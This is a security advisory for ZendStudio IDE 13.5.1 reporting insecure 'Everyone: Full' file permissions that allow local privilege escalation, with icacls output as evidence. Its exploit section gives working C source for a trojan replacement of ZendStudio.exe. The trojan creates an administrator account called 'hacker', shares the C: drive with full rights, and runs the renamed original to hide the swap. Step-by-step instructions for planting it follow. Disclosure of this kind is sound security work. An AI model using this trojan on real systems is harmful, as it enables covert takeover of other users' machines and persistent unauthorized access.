Vendor:
============
www.zend.com



Product:
======================
ZendStudio IDE v13.5.1

Zend Studio is the leading PHP IDE. It is the only PHP IDE that combines
mobile development with PHP and includes a sample mobile
app with source code.



Vulnerability Type:
=====================
Privilege Escalation



CVE Reference:
==============
N/A


Vulnerability Details:
=====================

ZendStudio IDE uses weak insecure permissions settings on its
files/directory as the aEveryonea group has full access on it.
Allowing low privileged users to execute arbitrary code in the security
context of ANY other users with elevated privileges
on the affected system.

"Everyone" encompasses all users who have logged in with a password as well
as built-in, non-password protected accounts such as Guest
and LOCAL_SERVICE.

Any user (even guest) will be able to replace, modify or change the file.
This would allow an attacker the ability to inject code or
replace the ZendStudio executable and have it run in the context of the
system.


e.g.

c:\Program Files (x86)\Zend\Zend Studio 13.5.1> icacls ZendStudio.exe

ZendStudio.exe Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)


x86_64 version ...


c:\Program Files\Zend>icacls * | more
Zend Studio 13.5.1 Everyone:(F)
Everyone:(OI)(CI)(IO)(F)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(I
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)



Exploit code(s):
===============

1) Compile below 'C' code name it as "ZendStudio.exe"


#include<windows.h>

int main(void){
system("net user hacker abc123 /add");
system("net localgroup Administrators hacker /add");
system("net share SHARE_NAME=c:\ /grant:hacker,full");
WinExec("C:\\Program Files (x86)\\Zend\\Zend Studio
13.5.1\\~ZendStudio.exe",0);
return 0;
}


2) Rename original "ZendStudio.exe" to "~ZendStudio.exe"


3) Place our malicious "ZendStudio.exe" in the ZendStudio directory


4) Logout and wait for a more privileged user to login and use ZendStudio
IDE then BOOM!!!!! later,
go back and login with your shiny new account.
